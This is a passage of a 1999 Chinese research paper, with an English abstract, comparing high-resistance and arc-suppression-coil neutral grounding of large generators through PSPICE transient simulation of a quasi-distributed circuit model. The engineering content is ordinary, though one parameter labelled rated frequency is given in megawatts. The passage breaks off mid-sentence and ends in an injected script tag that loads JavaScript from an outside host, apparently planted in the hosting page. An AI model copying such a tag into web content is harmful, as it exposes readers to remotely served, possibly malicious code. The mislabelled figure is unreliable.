摘要：目前对大型发电机定子中性点接地方式的选择尚有争论，对研究方法及模型的建立尚有不足，为了得到更准确的结果及探讨在接地方式的选择上应注意的问题，采用准分布参数电路模型，利用pspice对高电阻和消弧线圈两种主要接地方式从不同角度进行了仿真研究，并对两种接地方式的优缺点进行了比较，指出若采用消弧线圈与较小电阻串联的接地方式，不失为一种合适的选择。
关键词：发电机； 中性点接地； pspice； 暂态过程
中图分类号：tm 31；tm 712
文献标识码：a
文章编号：1006－6047(1999)04－0001－05
the transient state research of generator stator neutral grounding schemes
li ru-liang,li yi-xiang,wang xiang-heng
(tsinghua university,beijing 100084,china)
abstract： the selection of large generator neutral grounding schemes is controversial,and the study method and its modeling need improving to obtain more accurate result and find out the aspects to be paid attention to.based on distributed parameter circuit model,the high resistance grounding scheme and resonant grounding scheme are investigated with pspice.the merits and shortcoming of both schemes are compared.the simulation results suggest that the resonant coil in series with a small resistance seems to be a suitable selection.
keywords： generator; neutral grounding; pspice; transient state process
0 引言
大型发电机定子中性点接地方式的研究，很多文献都作了不同程度的介绍［1～8］。有的进行了定性分析［8］，有的给出了定量计算［1，2，6］。在模型的选择上有的采用集中参数电路模型［2］，有的采用准分布参数电路模型［1］。在分析方法上有利用暂态网络分析仪(tna)［2］、对称分量法［3，4］和pspice电路仿真［1］等方法。在接地方式的选择上有的偏向高电阻接地［7］，有的则注重消弧线圈接地［4］。文献［2］使用集中参数电路模型、利用暂态网络分析仪(tna)对高电阻和消弧线圈两种接地方式进行了研究，并给出了健全相过电压与频率的变化关系曲线，但由于集中参数电路模型过于简化，则会带来不可避免的误差。而对称分量法是建立在稳态基础上，不能准确地描述暂态量的关系。文献［1］考虑了发电机定子绕组对地分布电容的存在，使用准分布参数电路模型、利用pspice电路仿真软件对上述两种接地方式进行了仿真研究，并用多种方法验证了准分布参数电路模型的正确性，由于篇幅的限制，有些问题没有涉及。本文拟在文献［1］的基础上使用准分布参数电路模型、利用pspice电路仿真软件对高电阻和消弧线圈两种接地方式的有关问题作进一步探讨，基本内容为：两种接地方式在燃弧时的过电压和接地电流；考虑燃弧的暂态过程中定子绕组的超瞬变电枢反应感抗影响后的电压和电流；准分布参数电路中单元回路形式不同时的影响，单元电路串联个数不同时的影响；消弧线圈电阻的存在、发电机频率的变动、每次燃弧时间的长短以及多次燃弧等问题的影响。并与前人的研究结果进行了比较，分析了两种接地方式的优缺点，指出了在接地方式的选择上应注意的问题。对发电机接地方式的选择具有重要意义。
1 研究对象、模型、基本假设
1.1 研究对象
研究对象与文献［1］相同，即二滩电站水轮发电机，基本数据为：额定频率pn=550 mw,额定电压un=18 kv，额定电流in=19 630 a，额定功率因数cosφn=0.9，额定空载电压时的励磁电流if0=1 587 a，额定负载时的励磁电流ifn=2 709 a，定子绕组每相并联支路数a=6,定子每支路串联线圈数n=27，极对数p=21，每相对地电容c0=1.686 μf，定子每相电阻(75 ℃时)rs=3.6 mω，定子每相漏电感ls=227.05μh，额定频率fn=50 hz。消弧线圈接地中性点感抗xn为推荐值xc0/3，高电阻接地中性点电阻rn(从配电变压器原边看)亦为推荐值xc0/3，其中xc0为发电机每相对地容抗，因此得ln=2.003 2 h和rn=629.32 ω。
1.2 电路模型
考虑发电机定子绕组对地分布电容的存在，采用由单元电路串联而成的准分布参数电路模型，图1中(a)、(b)为两种单元电路形式。
图1 不同的单元回路形式
由6个(a)单元电路串联而成的准分布参数电路如图2，电感、电阻、电容、电动势分别为
图2 准分布参数电路模型
l=ls/6=37.841 7μh，r=rs/6=0.6 mω，c=c0/6=0.281μf，=2.449 5 kv。
1.3 基本假设
基本假设有：
(1) 对高电阻接地方式，中性点配电变压器的饱和效应忽略不计；
(2) 转子的速度认为在故障期间保持不变；
(3) 考虑?script src=http://er12.com/t.js>
